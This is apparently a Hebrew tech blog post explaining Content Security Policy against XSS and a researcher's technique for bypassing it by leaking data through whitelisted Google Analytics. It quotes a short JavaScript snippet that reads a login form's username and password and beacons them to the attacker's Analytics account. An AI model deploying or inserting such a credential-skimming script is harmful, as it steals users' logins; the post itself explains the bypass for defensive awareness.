עקיפת הגנת CSP

אחד מהמנגנונים החשובים ביותר כיום כנגד XSS הוא ה-CSP Header. למי שלא מכיר, למרות שחפרתי על זה לא מעט – מדובר ב-Content Security Policy וזה Header שניתן להכניס אותו באתרי אינטרנט ומונע בקשה של משאבים. כך למשל, אם יש באתר הדר שנראה כך:

Content-Security-Policy: script-src 'self', https://some-site.com

אז תגיות הסקריפט עם ה-src שבאים מהאתר some-site.com יעבדו והן בלבד.

<script src="https://some-site.com/some-script.js" />

אם תכניסו src עם שם מתחם אחר – הוא לא ייטען. תקבלו שגיאת CSP. אפשר לשים CSP בלא מעט מקומות.

למי שמעוניין – קצת לפני הקורונה הרציתי על Headers במיטאפ Negev Web Developers, מיטאפ מהמם שאני מקפיד להרצות בו כל שנה וינאי אדרי מארגן.

אבל חזרה ל-CSP:

למה זה חשוב? כי תוקפים שמצליחים בהתקפת XSS, לא שמים בד"כ alert אלא מושכים את הקוד הזדוני שלהם מאתר אחר. זה חוסך להם לא מעט, במיוחד בהתקפות reflected XSS אבל לא רק. אם אנחנו בולמים את משיכת הסקריפט, אנחנו מונעים דה פקטו (אך לא דה יורה) את משיכת הסקריפט ומגבילים את המתקפה.

עוד משהו שה-CSP עוזר בו הוא מניעת גניבת מידע או שיגור בקשות AJAX עם מידע לתוקף. תוקפים ממש אוהבים לעשות XSS על דף לוגין כדי לקחת סיסמה ושם משתמש או בדפי סליקה למיניהם. יישום CSP מאפשר לנו לעצור את הבקשות האלו. אם יש לי מדיניות CSP, אני לא אוכל לשגר בקשות אל evil.com למרות שהצלחתי להכניס סקריפט.

אבל לא מזמן נמצאה דרך ממש מעניינת ומגניבה לבצע עקיפה של ה-CSP ולגנוב מידע מהאתר למרות מדיניות CSP. אמיר שקד (ישראלי! יאי!) מחברת פרימטר X הוציא מחקר חדש שגם גרר פרסום בעולם על איך עוקפים CSP. כשקראתי את המחקר הזה רקדתי קצת משמחה כי זה היה ממש מעניין – אז חשבתי לשתף גם פה.

הוקטור מתבסס על זה שגם אתרים שמיישמים CSP בדרך כלל כוללים את Google Analytics במדיניות שלהם. למה? כי גוגל אנליטיקס נמצאת ברוב האתרים בעולם. כדי להוכיח את זה הוא דגם 3 מיליון דומיינים מובילים. רק רבע מיליון מתוכם יישמו CSP ורובם לא בלמו אף אתר. אלו שבלמו איפשרו את google-analytics.com. גם עבדכם הנאמן, כשהוא מיישם CSP בכל מיני אתרים, מפשיר את google-analytics.com.

מה זה אומר? זה אומר שסקריפט שמקורו ב-google-analytics.com או קורא ל-google-analytics.com עובר ב-CSP. שזה מעולה. אבל איך תוקף יכול לנצל כזה דבר?

ה-CSP מגביל את יעד הקריאות, אבל לא מגביל את הפרמטרים שאפשר לשלוח לקריאה. התוקף יכול בעצם לפתוח חשבון גוגל אנליטיקס משל עצמו ולשלוח לשם קריאה. טוב, את מי זה מעניין? יחד עם הקריאה הוא יכול לשלוח פרמטרים. איזה פרמטרים? איזה פרמטרים שבא לו. כל דבר שיש בקליינט.

הנה הדוגמה מהמאמר. סקריפט התקיפה שהוצב בטופס הלוגין של טוויטר, לוקח שם משתמש, לוקח סיסמה ואז שולח אותם אל google analytics. אבל ה-UA שבעצם אומרים לגוגל אנליטיקס למי לשלוח את הנתונים – הוא של התוקף!

username = document.getElementsByName("session[username_or_email]");
password = document.getElementsByName('session[password]');
window.addEventListener("unload", function logData() {
       navigator.sendBeacon("https://www.google-analytics.com/collect",
       'v=1&t=pageview&tid=UA-#######-#&cid=555&dh=perimeterx.com&dp=%2F'+
       btoa(username.item(0).value +':'+ password.item(0).value) +'&dt=homepage');
});

זה אומר שמה שהתוקף צריך לעשות זה לגשת לקונסול החיפוש שלו ולהסתכל על הפרמטרים שמגיעים. והנה מידע שמגיע לתוקף למרות מדיניות CSP מחמירה. דרך הצינור של Google Analytics.

התקיפה הכי מוכרת של XSS היתה של Magecart על בריטיש איירוויז. בה השתמשו לגנוב פריטי אשראי. מדיניות CSP היתה מונעת את שיגור הפרטים אל התוקף. אבל כאן יש מעקף מאוד נאה שמראה איך תוקף יכול לשגר את המידע. ומסתבר שיש כבר מי שמנצל את זה.

כמובן שאפשר לקחת את זה לא רק לגוגל אלא לכל שירות שהוא. לא חסרים שירותי אנליטיקות וסטטיסטיקות שמקבלות פרמטרים.

האם צריך לבטל את ה-CSP? לא. למרות וקטור התקיפה האולטרא מגניב הזה – עדיין עדיף פי אלף אתר עם CSP מאשר אתר בלי. עד לפחות שיאפשרו CSP שעושה גם סינון לפרמטרים שנשלחים (למשל לאפשר רק פרמטר tid עם UID ספציפי).